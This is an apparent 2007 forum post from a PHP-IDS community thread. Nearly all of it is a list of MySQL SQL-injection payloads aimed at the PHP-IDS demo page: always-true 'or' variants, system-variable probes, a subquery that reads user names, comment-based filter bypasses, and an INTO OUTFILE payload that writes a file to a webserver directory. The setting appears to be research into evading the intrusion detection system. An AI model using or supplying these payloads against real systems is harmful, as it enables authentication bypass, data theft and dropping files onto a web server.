Hi! SQLi contest sounds fun, is there more information available yet?
Again I played with the "or" operator. Here are some examples which all work on MySQL and query with quotes:
//prefix
http://demo.php-ids.org/?test=asd'or-1='-1
--> ?test=asd'or-1='-1
--> ?test=asd'or!1='!1
--> ?test=asd'or!(1)='1
--> ?test=asd'or@1='@1
--> ?test=asd'or-1 XOR'0
...
//functions
http://demo.php-ids.org/?test=asd'%20or%20ascii(1)='49
--> ?test=asd' or ascii(1)='49
--> ?test=asd' or md5(1)^'1
...
//columns
http://demo.php-ids.org/?test=asd'%20or%20table.column^'1
--> ?test=asd' or table.column^'1
//system variables
http://demo.php-ids.org/?test=asd'%20or%20@@version^'0
--> ?test=asd' or @@version^'0
--> ?test=asd' or @@global.hot_cache.key_buffer_size^'1
...
//subquery
http://demo.php-ids.org/?test=asd'%20or!(select%20name%20from%20users%20limit%201)='1
--> ?test=asd' or!(select name from users limit 1)='1
("limit 1" to return only one row, "!(string)" always returns "1")
also works (they all return true somehow):
http://demo.php-ids.org/?test=1'OR!'a
--> ?test=1'OR!'a
--> ?test=1'OR!'0
--> ?test=1'OR-'1
--> ?test=1'OR@'1' IS NULL #1 ! (with unfiltered comment by tx ;)
--> ?test=1'OR!(false) #1 !
--> ?test=1'OR-(true) #a !
//other
http://demo.php-ids.org/?test=1'%20INTO%20OUTFILE%20'C:/webserver/www/readme.php
--> ?test=1' INTO OUTFILE 'C:/webserver/www/readme.php
(useful on blind sql injections in combination with a "or statement" from above)
enough spammed ;) I hope some are useful.
greetings, Reiners
Edited 10 time(s). Last edit at 09/20/2007 08:02PM by Reiners.